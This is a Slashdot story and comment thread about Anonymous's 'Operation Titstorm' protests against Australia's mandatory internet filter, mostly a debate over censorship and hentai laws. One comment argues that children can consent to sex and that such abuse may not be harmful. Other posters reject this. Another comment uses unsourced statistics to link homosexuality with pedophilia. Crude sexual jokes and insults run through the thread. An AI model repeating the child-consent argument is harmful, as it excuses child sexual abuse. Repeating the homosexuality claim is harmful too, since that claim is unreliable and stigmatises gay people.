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Operation Titstorm Hits the Streets

schliz writes "Hacker group 'Anonymous' is organising international, real-life protests of the Australian mandatory internet filter this coming Saturday. Protests will take place in major Australian cities as well as at Australian embassies around the world. The protests are said to be the second stage of 'Operation Titstorm,' which unleashed a prolonged DDoS attack on Australian government websites last week. Organisers of the so-called Project Freeweb said: 'If passed, this legislation will set a disturbing precedent at an international level. The public, not the Government, should have the right to decide what is deemed appropriate for you or your family to be exposed to.'"

458 comments

  1. Storm of chicks? by Fotograf · · Score: 5, Funny

    Sorry, didnt read TFA, it would spoil my imagination

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    1. Re:Storm of chicks? by Tablizer · · Score: 0, Redundant

      Not if they are over 40

    2. Re:Storm of chicks? by LenenBKR · · Score: 1

      Would love to hear more...

    3. Re:Storm of chicks? by uncanny · · Score: 1

      i think the "tits' in titstorm is referring to manboobs

    4. Re:Storm of chicks? by Anonymous Coward · · Score: 0

      No, that was Operation Boobiestorm from last month. Pay attention, man!

    5. Re:Storm of chicks? by Anonymous Coward · · Score: 0

      Can we please stop calling the 4chan brats 'hackers' - this is getting old and pathetic slashdot...

  2. Question by Anonymous Coward · · Score: 0

    What is universal that should be banned (e.g., child porn) as opposed to filtered out by parents? I don't agree with how they're going about it Down Under, but I am wondering about this question.

    1. Re:Question by toastar · · Score: 5, Insightful

      What is universal that should be banned (e.g., child porn) as opposed to filtered out by parents? I don't agree with how they're going about it Down Under, but I am wondering about this question.

      How can you say that somethings are so taboo that they can't ever be viewed?

      Down Under even Hentai counts as child porn.

    2. Re:Question by BadAnalogyGuy · · Score: 4, Informative

      In the US as well

      You gotta love the weasley quote from "Frenchy" Lunning, "Handley is not a pedophile. He had no photographs of child pornography."

      I suppose it would be a waste of time to photograph child porn. Scanning seems like a much better way to retain all the juicy details.

    3. Re:Question by dov_0 · · Score: 1, Flamebait

      The question that I want to ask, is why so many Americans etc want to get involved in what is our own choice here in Australia. As a nation we generally like and expect some censorship. What is that to you? What is it to Anonymous? It's our nation and we can do as we like with it.

      We elected this government and the previous one which planned the censorship originally. Unlike the USA we actually do have a pretty democratic system here. Let us run our country as we like!

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    4. Re:Question by BadAnalogyGuy · · Score: 1

      Welcome to Pax Americana. You'll find things will be just fine. At least better than if it were Pax Russo, eh Comrade?

    5. Re:Question by Anonymous Coward · · Score: 5, Insightful

      Why do you assume that 1) Most on here are American and 2) Every Australian feels as you do? How is there going to be "real-life protests" if everyone who cares is just American? Now I'm no genius or anything, but it seems to be that you'd have to live in Australia, or at least be IN Australia, in order to participate in a "real-life protest" in Australia.

    6. Re:Question by Anonymous Coward · · Score: 1, Funny

      Wow! The first actual Australian ever to back the filter besides someone inside the government... or are you....

    7. Re:Question by dov_0 · · Score: 1

      Looking forward to the Pax China soon! Haha!

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    8. Re:Question by dov_0 · · Score: 0, Troll

      Did I say that 'every' Australian feels like I do, or did I say that Australians 'generally' approve of some censorship?

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    9. Re:Question by Miseph · · Score: 2, Informative

      "Why do you assume that 1) Most on here are American'

      Because it is demonstrably true. And no, I will not give sources, this is common knowledge. I know that Taco periodically gives a bunch of random statistics on site usage, and at least once he broke it down by country: it was something like 75% American, 10% Canadian and 15% everyone else when I last saw it. Granted, a lot of /.ers are likely to be using proxies/TOR/other connections that will obfuscate their true location, but I think it's fair to say that the vast majority probably don't.

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    10. Re:Question by stonewallred · · Score: 1

      They were trying, don't know if they succeeded, in declaring porn small breasted women as forbidden because they might be mistaken for children or turn on a pedobear.

    11. Re:Question by stonewallred · · Score: 5, Funny

      Don't make us come over there and liberate the shit out of you.

    12. Re:Question by Lehk228 · · Score: 1

      Granted, a lot of /.ers are likely to be using proxies/TOR/other connections

      I would be shocked if that number was more than 2.5-3% of visitors.

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    13. Re:Question by Liambp · · Score: 5, Insightful

      Ok I know I may just be feeding the troll but I am going to have a go at this.

      I live in a small pro-western European nation that is pretty middle of the road in terms of politics and liberal/conservative agendas. While I entirely respect the Australian peoples right to choose their own laws it never the less worries me when I see the Australian government do something that I don't want my own government to do.

      The problem is that Australia is seen as "one of us" an English speaking westernised liberal democracy. If a policy is successfully implemented in Australia it gains a certain credibility that the same policy implemented in North Korea or Iran or even China would lack. Those of a certain frame of mind in my own country could point to Australia and push for similar legislation here.

    14. Re:Question by commlinx · · Score: 1

      Don't make us come over there and liberate the shit out of you.

      In this case, I for one will welcome our new Predator UAV overlords

    15. Re:Question by jonwil · · Score: 3, Informative

      My belief is that NO content is so bad that it justifies censorship of this kind.
      Even if it is Osama Bin Laden brutally raping and murdering little kids (to think of the most extreme example its possible to think of), those who host, share, create, post, publish and spread the content should be targeted. Censorship of the kind the government wants to introduce is NOT the answer.

      As for those who say "I support the filtering system because it keeps my kids from getting at this kind of content" (or similar such statements), an opt-in filtering system will do exactly the same thing without subjecting everyone to censorship.

    16. Re:Question by Anonymous Coward · · Score: 2, Informative

      "As a nation we generally like and expect some censorship."

      Yes, you did...

    17. Re:Question by MichaelSmith · · Score: 1

      It does depend a bit on time of day. There definitely seem to be peak times for the Australian contingent when the US is asleep.

    18. Re:Question by Anonymous Coward · · Score: 2, Funny

      Think of the theoretical, non-human, imaginary beings!

    19. Re:Question by Kokuyo · · Score: 5, Interesting

      Yes, indeed! Let's dry out any kind of outlet for those freaks! Once they wont be able to get off from something besides the real deal, they are bound to stop and suddenly turn into normal, heterosexual human beings.

      Right? Right?!

    20. Re:Question by Kokuyo · · Score: 1

      Exactly. While it's the individual's right to be protected it should also be the individual's right to decline said protection.

    21. Re:Question by jcwayne · · Score: 0

      75% American, 10% Canadian and 15% everyone else

      Take that all you limey bastards, you don't even warrant being listed separately.

      //girds loins in preparation for a stern, but polite, rebuttal

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    22. Re:Question by Emphron · · Score: 1

      The question that I want to ask, is why so many Americans etc want to get involved in what is our own choice here in Australia. As a nation we generally like and expect some censorship. What is that to you? What is it to Anonymous? It's our nation and we can do as we like with it.

      We elected this government and the previous one which planned the censorship originally. Unlike the USA we actually do have a pretty democratic system here. Let us run our country as we like!

      What's this crap about "as a nation" What gives you the right to speak for Australia? As an Australian I *hate* the idea of any censorship and I don't bloody want it and I don't bloody expect it. But what pisses me off almost as much is the fact that it won't bloody work and it'll only slow down my already bloody pitiful excuse for broadband.

    23. Re:Question by BadAnalogyGuy · · Score: 3, Funny

      That's a really nice kid you got there. It'd be a shame if they were exposed to something...unseemly.

    24. Re:Question by Anonymous Coward · · Score: 0

      So because most people on the internet are American, that means that most Americans give a shit about your whining?

      All all Australians this full of themselves?

    25. Re:Question by shutdown+-p+now · · Score: 1

      What's even more funny about it is that SCOTUS has already thrown out the "simulated child porn" provision out of the previous similar law as unconstitutional. Of course, they just signed a new law in effect, which amounts to pretty much the same thing (which is what the person you mentioned was convicted under).

    26. Re:Question by Ninth+Marion · · Score: 1

      And I assure you, the majority of Australians oppose the filter. Even most of the usual pro-censorship 'decency' or religious organisations oppose it. It's very hard to find people who support it. The Government is being incredibly anti-democratic to push this through. There's certainly a background motive to it, of why they're so determined against all reason and support - I wonder if Australia is being used as a testbed for this type of filtering?

    27. Re:Question by HJED · · Score: 1

      What's more you are incorrect, most of the people I know are opposed to this invasion of our rights and I live it Australia. The rest do not actually understand what it is.

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    28. Re:Question by shutdown+-p+now · · Score: 5, Insightful

      The question that I want to ask, is why so many Americans etc want to get involved in what is our own choice here in Australia.

      Well, you don't seem to mind choosing for at least some of your fellow Australians...

      Seriously, though, just because some action or policy is backed by a democratic vote, or popular support in general, doesn't make it right. Slavery in U.S. was backed by the majority early on, for example. Today, most people in China and Russia support their regimes, including oppression of dissenters. Iranian death penalty for homosexuals law has widespread popular support. And so on, and so forth.

      There are some rights and freedoms which cannot morally be subject to a vote. Freedom of speech is one of them.
       

    29. Re:Question by MillionthMonkey · · Score: 1

      Well, partly, there is mere altruism. We sincerely pity you Australians because your Government is wrapping your entire country inside a parental filter.

      But we're also protesting the general principle of centralized censorship. Not exactly the mere fact that your own country is implementing these things to affect YOU. That won't impact us directly; everybody knows that. But it is still alarming that someone is making these decisions. Your adoption of this official list will lend the entire concept credibility that it wouldn't otherwise have, around the world, including here. And it's going to be difficult to explain to people the subtle problems behind state-maintained lists of censored sites- as any country might implement them.

    30. Re:Question by Anonymous Coward · · Score: 1, Funny

      Don't make us come over there and liberate the tits out of you.

      There, fixed that for you.

    31. Re:Question by Joakal · · Score: 1

      Some people like me are highlighting positions, you'll find some positions are quite duopolistic.

      My site on the filtering scheme: http://shockseat.com/communications/internet-filtering-scheme

      Bonus: You can find out who's most against it in your electorate for Federal elections this year.

    32. Re:Question by BlueStrat · · Score: 1

      Yes, indeed! Let's dry out any kind of outlet for those freaks! Once they wont be able to get off from something besides the real deal, they are bound to stop and suddenly turn into normal, heterosexual human beings.

      Right? Right?!

      [sarcasm]
      See, you just don't understand the government's logic.

      Once you've eliminated any other outlet for deviant desires other than damaging and traumatizing children they'll be forced to reveal themselves through said unspeakable acts, then all authorities need to do is just look for large groups of irreparably-damaged children to flag a pedo's existence & location so they may be locked up at taxpayers' expense!

      It's a perfect plan other than some collateral damage to innocent children, but then the demand for large numbers of pediatric therapists and prison workers will help keep the unemployment numbers low and the politicians' "unlike my pedo-loving opponent, I thought of the children!!!1one" factor high for the upcoming elections as well as provide a convenient excuse for raising taxes to pay for more police, prisons, and pediatric emotional-trauma treatment centers.

      Win-win!
      [/sarcasm]

      I tagged this sarcasm, but I'm afraid that it's frighteningly-close to the truth.

      Strat

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    33. Re:Question by Kippesoep · · Score: 1

      What makes you think they're not heterosexuals already? Paedophilia exists regardless of sexual orientation.

    34. Re:Question by dov_0 · · Score: 1

      Personally, I'm in favour of censorship on the Internet, as we have it on TV and radio etc. I see no difference. I am not quite as happy with the current proposed implementation. As I run a PC repair business, I have received a lot of requests for home internet filtering etc. I'd say that the majority of families that I've seen have asked about internet filtering. Many people do want it.

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    35. Re:Question by dov_0 · · Score: 0, Troll

      Yes I did. That does not mean all Australians.

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    36. Re:Question by bbqsrc · · Score: 5, Insightful

      Personally, I'm in favour of censorship on the Internet, as we have it on TV and radio etc. I see no difference. I am not quite as happy with the current proposed implementation. As I run a PC repair business, I have received a lot of requests for home internet filtering etc. I'd say that the majority of families that I've seen have asked about internet filtering. Many people do want it.

      Consider this analogy:

      Many Australians consider the water supply to be clean. Some people wish the water to be filtered, a minority. The government could implement a giant filter for the water supply at great cost, or, the minority could purchase personal filters to filter their own water, even with a government subsidy!

      The Australian government already tried to give out filtering software for free, and there wasn't a large uptake. This leads be to believe, based on your comments, that it wasn't made well-known enough for computer repairpersons to recommend it to their customers, or that the repairpersons believed it to be inadequate, or an even greater chance, people just don't care about filtering their internet.

      My point is: if you want it filtered, filter it yourself. Don't force your ethics on the rest of us.

      Better still, educate your fucking kids to not do stupid shit on the internet. That works better than any filter.

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    37. Re:Question by digitalchinky · · Score: 1

      I don't want it. Period. Now if you want to live beneath a net-nanny filter, that's your issue, but don't be forcing your filtering views on me though. I'm a big boy, I can take care of my own.

    38. Re:Question by MrNaz · · Score: 3, Funny

      My girlfriend is a theoretical, non-human imaginary being you insensitive clod! The government had better not dare try to deprive Nubiliana of her rights!

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    39. Re:Question by VShael · · Score: 5, Funny

      Don't make us come over there and liberate the shit out of you.

      Funnily enough, I've seen a porno clip which had this attitude. The guy was really pounding this girls ass, doggy style, saying things like "I'm gonna liberate you soooo hard!" She's crying and getting slapped and what not.

      Then when he's done, he collapsed on her back and sighed "Mission Accomplished!" even though there was a second naked chick waiting in the sack beside them.

      So I gotta wonder, when did porn get all liberal satirical and shit? Keep politics outta porn. (But not porn outta politics, cause that shit's hilarious.)

    40. Re:Question by Cassius+Corodes · · Score: 1

      Conroy seems ideologically committed to this - it doesn't matter if it is effective or popular he has decided this is what Australia needs. Given that he is allowed to continue with this shit I assume that many in the cabinet they are as well. It seems we voted in some puritans into the government. Problem is the liberals are even bigger puritans so we are basically screwed.

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    41. Re:Question by SilentSandman · · Score: 1

      Redundant perhaps, but I do know absolutely -no one- who agrees with this censorship crap. There have been a few "shrug-it-off, it's just pedos" types, but as soon as they're informed exactly what this is, they change their tune rather quickly.

      I do have to admit though, rather nice troll from the GP.

    42. Re:Question by couchslug · · Score: 1

      "Once they wont be able to get off from something besides the real deal, they are bound to stop and suddenly turn into normal, heterosexual human beings."

      Given the billion-odd dollars (and counting) paid out by the Catholic Church in pedo damage control, I'd say repression drives people with such inclinations to jobs where they can exercise power in secret.

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    43. Re:Question by SilentSandman · · Score: 1

      My point is: if you want it filtered, filter it yourself. Don't force your ethics on the rest of us.

      Better still, educate your fucking kids to not do stupid shit on the internet. That works better than any filter.

      My kingdom for some mod points :\ +1 epic truth.

    44. Re:Question by SilentSandman · · Score: 1

      That actually made me laugh out loud... well done :D

    45. Re:Question by jibjibjib · · Score: 1

      Please don't claim to speak for Australia. I'm Australian, it's a controversial issue here, and to claim that Australians asked for censorship and expect it is misleading, if not an outright lie.

    46. Re:Question by Demonoid-Penguin · · Score: 1

      Why do you assume that 1) Most on here are American and 2) Every Australian feels as you do?

      1) Citation please?

      2) What does that have to do with anything? Too much emotional content...

      Now I'm no genius or anything, but it seems to be that you'd have to live in Australia, or at least be IN Australia, in order to participate in a "real-life protest" in Australia.

      Evidently. Try reading the referenced article/s and you'll appear less of an arseclown

      Posting as "Anonymous Coward" is used when:-

      A. The poster has to protect the confidentiality of a source

      B. The poster has exceeded their daily post limit (easy to check - look at their history)

      C. Their other hobby is visiting other peoples houses and crapping in the cistern.

      Which one are you?

    47. Re:Question by ChiefMonkeyGrinder · · Score: 1

      I'm Aussie, and I oppose the filter, but I don't think this protest is going to help. Despite being a westernised democracy, the direction the government has taken over Internet censorship has not shocked me. We may become the laughing stock of the Western world with this stance. But we are not alone in looking at censorship - Wikipedia has an interesting map of Internet Censorship around the world - and I think it's only going to get tougher in other countries. http://en.wikipedia.org/wiki/Internet_censorship We are also famous for appointing Richard Alston, who the Register dubbed 'the world's biggest Luddite', as Minister of the Digital Economy. While in office, Alston famously tried to outlaw any online gambling whatsoever for Australian citizens, opposed the rollout of broadband, and wanted to make people legally responsible for anything they put on the net that was deemed not suitable for children (as decided by the police). Anyway, I wrote about this last week - but it didn't make it past firehose. For those that are interested: http://slashdot.org/submission/1169966/Australias-net-censorship-and-Operation-Titstorm?art_pos=7 or direct to the blog: http://www.computerworlduk.com/community/blogs/index.cfm?entryid=2784&blogid=10

    48. Re:Question by icebraining · · Score: 1

      Actually, in absolute numbers there are more heterosexual pedophiles than homosexual.

    49. Re:Question by Anonymous Coward · · Score: 0

      Sir,

      The British concede that you are so loud as to drown anything out but your own hat.

    50. Re:Question by LordSnooty · · Score: 1

      Better still, educate your fucking kids to not do stupid shit on the internet. That works better than any filter.

      But Anonymous aren't doing stupid shit, they're trying to stop the filter!

    51. Re:Question by Anonymous Coward · · Score: 0

      fuck off

    52. Re:Question by Ninth+Marion · · Score: 1

      So then you don't support it?

      Many people see the benefit of personal filters for their children. Not many appear to agree with a mandatory filter for everybody. I'll grant you though that most people are apathetic, as about most things.

      Not that I agree with censorship in any medium, but TV and radio are dumb terminals once you've tuned into a channel. The only valid justification for the censorship, in my opinion, is that people therefore want to have a reasonable expectation for what content they will get. The internet however is completely different. You have to seek out your own content and specifically request it. And if you don't like it you can filter it out yourself with perfect ease. I completely object to this choice being made for me by anyone else, especially this government which has shown itself to be fairly puritanical in its leanings (anti-gay marriage; want to ban depictions of small breasts, female ejaculation, and cartoon characters; want to raise the drinking age to 21, don't understand the concept of adult satire re. the various Chaser incidents, etc. and so on)

      This filtering scheme would be like turning on SBS TV and finding it's been totally blocked by the Goverment because they feel they've shown too many foreign films with nude scenes.

    53. Re:Question by azenpunk · · Score: 5, Insightful

      OK, i couldn't let this go. I have adopted a policy of avoiding inflamitory or overly confrontational statements, but you're just plain wrong. At least in one jurisdiction where I heard the name of the actual charged brought in a child porn case it was "exploitation of a minor," and that is exactly the heart of the kiddie porn issue. Ask any psychologist and they will likely tell you that sexualizing an individual before they have any first hand experience with the hormonal realities of sexuality is quite traumatic. You can often even tell the age a girl was molested at by listening to her voice and figuring out what age she sounds like. All rational people can agree that causing such psychological and emotional harm to a child is a heinous crime and that about the only way to top that is to do it for monetary gain instead of, or as well, as ones own personal gratification. And that is the root of anti child-porn laws. Child porn originally was both a record of such abuse and an enterprise based upon it. An entire industry based upon causing harm to others who are innocent. Child porn was essentially in the same league as a brothel specializing in the rape of the unwilling or a contract assassin agency.

      Today we have a few hiccups thrown into the mix. There is a popular form of animation in which girls of ages that are indeterminate other than to say they are 'too young' (unless hentai characters are given specific ages, are they?). These images are not created upon the suffering of innocents. None of the rationals for criminalizing child porn work with hentai images. The only rationals that people try to apply to hentai are that those who enjoy it are 'sick' or that they 'might' do something bad if allowed to view it. What a horrible reason to outlaw something.

      Another frightening trend with child porn laws has been the arrests of individuals who are underage for exploiting themselves by taking nude self-images. Or the arrests of their significant others for receiving the same. I can see no rational argument to lock up an 18 year old boy because his 17 year old girlfriend texted him a picture of her breasts, an image he had no chance to refuse before seeing it's content.

      As an aside i think a reasonable way to treat teen "sexting" in the legal system is to treat it the same as consent laws. If it's legal for two individuals to have sex, they should be able to privately share images of themselves. However once those images become more widely distributed, the distributor should face some form of penalty, provided the distributor is not the same as the person in the image and willingly posed for it. No one should EVER be criminally liable for taking a nude photo of themselves and showing to another, unless it becomes a harassment case and not a sex crime. Moving on.

      The common denominator here is that no action should be prosecutable unless it involves one individual causing harm or presenting a danger to another individual. Mix in "informed consent" as necessary if you believe it is necessary to keep things like tattoos, "branding", and anything that people purposely do that could be considered "harmful" legal.

      It is neccessary in any free society to allow others to do things you dissprove of if it is not harmful to others. I see no reason for a nations legal code to violate the simple principle of "live and let live."

      Now lets see what i get accused of for "defending child porn."

    54. Re:Question by vlad30 · · Score: 1

      except this isn't about stopping porn on the net a task the previous conservative government admitted was hopeless and certainly against the public desire. This "Liberal" government is more communistic and wishes control of the media as witnessed by the $250 million Gift to free to air TV this week http://www.theaustralian.com.au/politics/stephen-conroy-cold-on-kerry-stokes-talk/story-e6frgczf-1225830260479 Note Conroy was is internet villain of the year censoring the net is only the first step in letting us see what they want us to see

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    55. Re:Question by c6gunner · · Score: 1

      Yeah, you're right - it really would be nice if the Aussie government would shut YOU up.

    56. Re:Question by tc3driver · · Score: 2, Interesting

      Yes, indeed! Let's dry out any kind of outlet for those freaks! Once they wont be able to get off from something besides the real deal, they are bound to stop and suddenly turn into normal, heterosexual human beings.

      Right? Right?!

      [sarcasm] See, you just don't understand the government's logic.

      Once you've eliminated any other outlet for deviant desires other than damaging and traumatizing children they'll be forced to reveal themselves through said unspeakable acts, then all authorities need to do is just look for large groups of irreparably-damaged children to flag a pedo's existence & location so they may be locked up at taxpayers' expense!

      It's a perfect plan other than some collateral damage to innocent children, but then the demand for large numbers of pediatric therapists and prison workers will help keep the unemployment numbers low and the politicians' "unlike my pedo-loving opponent, I thought of the children!!!1one" factor high for the upcoming elections as well as provide a convenient excuse for raising taxes to pay for more police, prisons, and pediatric emotional-trauma treatment centers.

      Win-win! [/sarcasm]

      I tagged this sarcasm, but I'm afraid that it's frighteningly-close to the truth.

      Strat

      It is frighteningly close, but you both are a-miss on one point. I have yet to see a study that shows which part of the "pedo process" is actually the damaging part. We can all agree that children are capable of achieving orgasm. If the acts are consensual, and neither party are doing physical damage to the other, and both parties enjoy the process. I should take this moment to state clearly, Rape is Rape, the victim is almost always left psychologically harmed. In the case of consensual sexual interludes, I postulate that victimizing one party does more damage than the act itself.

      I have no first hand knowledge of this

      I just cannot trust anyone who would equate a "phile" with a sexual attraction. as the definition of "phile" is a non sexual attraction, or platonic love, or the love a parent has for a child. So in technical terms of the definition, most parents are peadophiles.

      I will tell you what bugs me most about the entire situation.

      Sex, that thing that brought the vast majority of us into the world, is shunned. While murder and violence are "acceptable" forms of entertainment.

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    57. Re:Question by Anonymous Coward · · Score: 0, Funny

      I bet you're the kind of guy that would fuck a person in the ass and not even have the goddamn common courtesy to give him a reach-around. I'll be watching you.

    58. Re:Question by DrXym · · Score: 1

      It has nothing to do with it being an "outlet" as being a matter of right and wrong. Cartoons depicting children being raped or in other sexual situations is obscene and repugnant to the vast majority of people and the law reflects that. If pedos want an "outlet" they can see a psychiatrist or counselor.

    59. Re:Question by i_ate_god · · Score: 1

      The question that I want to ask, is why so many Americans etc want to get involved in what is our own choice here in Australia. As a nation we generally like and expect some censorship. What is that to you? What is it to Anonymous? It's our nation and we can do as we like with it.

      We elected this government and the previous one which planned the censorship originally. Unlike the USA we actually do have a pretty democratic system here. Let us run our country as we like!

      Because when a "respected" nation does something that a "non respected" nation does, then it becomes "respectable". China has draconian monitoring systems to watch its citizens, it's distasteful. The UK has draconian monitoring systems, it's a template for the US. This is why we should be concerned about Australia, because Australia can be used in the "if they can do it so can we" excuse, while China can't.

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    60. Re:Question by Anonymous Coward · · Score: 0

      Here in Japan I can jerk off to Hentai AND Child Porn...Fuck Yeah!

    61. Re:Question by Anonymous Coward · · Score: 0

      There are Australian embassies in the USA. These are considered Australian soil. Americans may go to them and protest in front of them in order to garner media attention and support the cause. You don't need to be in AU to help.

    62. Re:Question by Attila+Dimedici · · Score: 1

      Actually, in absolute numbers there are more heterosexual pedophiles than homosexual.

      However, as a percent of population, a significantly larger number of homosexuals are pedophiles than heterosexuals. Something on the order of 2-5 percent of the population at large is homosexual. While something on the order of 32 % of sexual child molestation cases are homosexual. This indicates that there is some linkage between homosexuality and pedophilia. That linkage is probably something that leads someone to both behaviors as opposed to one behavior leading to the other.

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    63. Re:Question by bkr1_2k · · Score: 1

      suddenly turn into normal, heterosexual human beings
      You're aware that confusing pedophilia and something other than heterosexuality is just plain ignorant right?

      Not that I disagree with your sentiment, but your choice of wording was bad.

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    64. Re:Question by CecilPL · · Score: 1

      Did you read the whole article you linked to? At the very bottom is this quote:

      “He was a prolific collector,” says the lawyer. “He did not focus on this type of manga. He collected everything that was out there that he could get his hands on. I think this makes a huge difference.”

    65. Re:Question by bkr1_2k · · Score: 1

      Actually, in absolute numbers there are more heterosexual pedophiles than homosexual.

      However, as a percent of population, a significantly larger number of homosexuals are pedophiles than heterosexuals. Something on the order of 2-5 percent of the population at large is homosexual. While something on the order of 32 % of sexual child molestation cases are homosexual. This indicates that there is some linkage between homosexuality and pedophilia. That linkage is probably something that leads someone to both behaviors as opposed to one behavior leading to the other.

      Or, it simply means that more people tell their daughters to "watch out for sexual predators" than they tell their sons. Comparing homosexuality and pedophilia is just ignorant. Also, please feel free to provide some citations for your numbers.

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    66. Re:Question by bkr1_2k · · Score: 1

      Someone please mod parent up. Well said.

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    67. Re:Question by mdwh2 · · Score: 1

      So let's see - some people want their Internet connection filtered, other people don't. How about this for a radical solution - we let the people who want it have it, and the people who don't, don't have it?

      Wow, I've just solved the problem!

      Or not. The problem with censorship is not that people want to filter their own connection. It's that they want to filter other people's connection. How many requests for those have you had in your shop? None of the anecdotal examples you cite are examples of people supporting censorship.

      Oh, and if you're in favour of censorship - let's start with you. No more posts from you, please :)

    68. Re:Question by biryokumaru · · Score: 1

      The linkage is quite possibly caused by society, not by inherent nature. If both cases are shunned, then you're very likely to see more overlap than necessarily exists. There is no control group, so any kind of analysis is essentially meaningless. It is rather arrogant to assume that kind of conclusion from the given data. At best, what your figures actually show is that there is a correlation between people who act on one natural impulse and people who act on another natural impulse.

      Additionally, based on studies of animal populations, it is very likely that much much more than "2-5%" of the human population is homosexual. I haven't seen any thorough studies of pedophilia, likely because it is the same kind of taboo that homosexuality was 100 years ago, but I imagine there are aspects to it that we haven't predicted.

      Unfortunately, no politician is going to be running under the "Won't anybody this of the child molesters!?" slogan any time soon, so we're unlikely to know significantly more about this phenomenon anytime soon.

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    69. Re:Question by biryokumaru · · Score: 1

      When they came for the cartoons of child molestation,
      I did not speak out;
      I was not a pedophile.

      When they came for the visual depictions of Muhammad,
      I did not speak out;
      I was not a Danish political cartoonist.

      When they came after 4chan,
      I did not speak out;
      I was not a btard.

      When they came after me,
      there was no one left to speak out.

      - With all due respect to Martin Niemöller.

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    70. Re:Question by Anonymous Coward · · Score: 0

      I am a /b/tard, you insensitive clod!

    71. Re:Question by DrXym · · Score: 1

      Don't be absurd.

    72. Re:Question by TapeCutter · · Score: 1

      "There are some rights and freedoms which cannot morally be subject to a vote. Freedom of speech is one of them."

      Aussie here in total agreement, I don't want my adult porn censored and for reasons I've posted elsewhere in this story I'm almost certain the porn filter will never become law.

      However pre-pubecent child porn is not a freedom of speech issue, it's a denial of the victim's basic human rights and freedoms and is quite rightly viewed as a serious crime. I'm in favour of law enforcement agencies monitoring these sites through warrants and sharing that data with foriegn law enforcement for the sole purpose of hunting down the rock spiders who produce and habitually consume this material. I am not in favour of mobs taking the law into their own hands and that includes both peodphile lynch mobs and the operation titstorm mob.

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    73. Re:Question by Anonymous Coward · · Score: 0

      Are you from that bunghole Romania ? Cause you definitely sound like one of those poor sobs.

    74. Re:Question by biryokumaru · · Score: 2, Insightful

      Censorship always defeats its own purpose, for it creates, in the end, the kind of society that is incapable of exercising real discretion... In the long run it will create a generation incapable of appreciating the difference between independence of thought and subservience.

      - Henry Steele Commager

      Censorship is never over for those who have experienced it. It is a brand on the imagination that affects the individual who has suffered it, forever.

      - Noam Chomsky

      Forms of expression always appear turgid to those who do not share the emotions they represent.

      - Gilbert Keith Chesterton

      The censor believes that he can hold back the mighty traffic of life with a tin whistle and a raised right hand. For after all, it is life with which he quarrels.

      - Heywood Broun

      I want a situation without censorship, because I do not want to be responsible for whatever they may say.

      - Napoleon Bonaparte

      Censorship ends in logical completeness when nobody is allowed to read any books except the books that nobody reads.

      - George Bernard Shaw

      Censorship reflects a society's lack of confidence in itself.

      - Potter Stewart

      Then the first thing will be to establish a censorship of the writers of fiction, and let the censors receive any tale of fiction which is good, and reject the bad; and we will desire mothers and nurses to tell their children the authorized ones only.

      - Plato

      Please, reconsider exactly what it is that you are supporting. Censorship of any kind is the first step toward totalitarianism.

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    75. Re:Question by tehcyder · · Score: 1, Informative

      It is frighteningly close, but you both are a-miss on one point. I have yet to see a study that shows which part of the "pedo process" is actually the damaging part. We can all agree that children are capable of achieving orgasm. If the acts are consensual, and neither party are doing physical damage to the other, and both parties enjoy the process. I should take this moment to state clearly, Rape is Rape, the victim is almost always left psychologically harmed. In the case of consensual sexual interludes, I postulate that victimizing one party does more damage than the act itself.

      I've seen some stupid shit on slashdot, but that takes the fucking biscuit.

      If you really think that a child can give informed consent to sex with an adult, you need urgent help.

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    76. Re:Question by sjs132 · · Score: 5, Insightful

      I think the problem is mental capacity... If sex is acceptable if consensual, at what age is the consensual sex approved with full knowledge of the act, consequences, ect. Is there a mental capacity at 11 to consent? No

      There are many legal precedents that set the age of consent for various legal items, contracts, military service, voting, drinking, driving, etc... These are the basis of some of our societial norms. Without them, we would break down (and I say we are already with the blurring of many lines, but I digress...)

      SEX is also unofficially there in the list, by punishing those that would take advantage of someone who does not quite have the assumed mental capacity you should have at a certain age. (Varies by state I believe) But I feel that the physical act can over come the emotional stops that society may place on the act. therefore it is easy to manipulate someone that cannot distinguish between something that is "wrong" verses it feels good, so it must be good.

      So, just because it is consensual doesn't mean the child had all the tools to make a decision based on anything other than it felt good and the person is nice to me. That is just plain wrong no matter how you may try to argue it.

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    77. Re:Question by Anonymous Coward · · Score: 0

      flamebait moderator: you fail at quotations forever.

    78. Re:Question by Anonymous Coward · · Score: 0

      Better still, educate your fucking *husbands and fathers* to not do stupid shit on the internet.

      My dad can wreck a windows install (with up-to-date antivirus and firewalls, set up by me) in a matter of hours given his browsing habits.

    79. Re:Question by Golddess · · Score: 2, Informative

      Remember, even a 17 yearold is still considered a "child".

      Not all children suddenly become capable of giving informed consent at the same age. I will concede that there may be an age that is too young across the board, but yes, children are capable of giving informed consent.

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    80. Re:Question by Anonymous Coward · · Score: 0

      "Slavery in U.S. was backed by the majority early on" that was mostly because we had just finished a was against Britain and were not quite ready to fight our own again, American colonists were British, and second slaves were not given the right to vote about it. Another important factor was that portion of the constitution that states blacks count for 3/5 of a person for census purposes only. Southern states wanted larger populations to get more seats in the house of representatives and other benefits of larger populations without letting the blacks vote for their freedom.

    81. Re:Question by computational+super · · Score: 1

      Taken axiomatically, of course. No proof given, no proof needed.

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    82. Re:Question by Anonymous Coward · · Score: 0

      "Is that unicorn over 16?
      he doesn't look 16 to me."

    83. Re:Question by kent_eh · · Score: 2, Interesting

      Today, most people in China and Russia support their regimes, including oppression of dissenters. Iranian death penalty for homosexuals law has widespread popular support.

      Or so we are told by their state media...

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    84. Re:Question by Anonymous Coward · · Score: 0

      Nothing. You are dead on the mark, and have cleverly defended liberty and the prosecution of child porn that actually causes an individual mental harm. Well said, sir. I just wish you had put more emphasis on the damage it causes children. Maybe if everyone was able to know (e.g., see and clearly understand) the damage it causes, child rape would end.
       
      We all have an innate sense to care for our young, so it's baffling to me anyone would conceive of it in the first place, but I've been in a serious relationship with a girl that was hurt like that. It definitly ruined her ability to logically process typical relationship emotions later in life; case in point. There was always this underlying phobia/fear of me that changed from day to day, despite having nothing happen between days. It is hard to explain as I don't even think she was aware of it.

    85. Re:Question by shutdown+-p+now · · Score: 4, Interesting

      Or so we are told by their state media...

      I'm Russian. At least with respect to my country, the state media is correct on this particular issue (even if they're a lying bastards on most other matters).

      Elections are rigged, true, but only to get higher percent of the vote - the people in power don't need it to get elected. They do want high percent for the president to get more legitimacy (as Putin told regarding his opposition once, "over 70% of voted for me, so they're opposing the clear mandate of the people"), and they want 2/3 of the parliament to be able to amend the constitution freely (like they did not long ago extending the presidential term from 4 years to 6). In practice, with fair elections, they'd probably get somewhere around 55%-60%, but the true support base is higher - it's just that opposition is more politically active, and thus more likely to bother to vote.

      I have little reason to believe that it's any different in China, especially judging by the stance of Chinese hailing from PRC whom I've met. If anything, their brainwashing seems to be much more effective than ours.

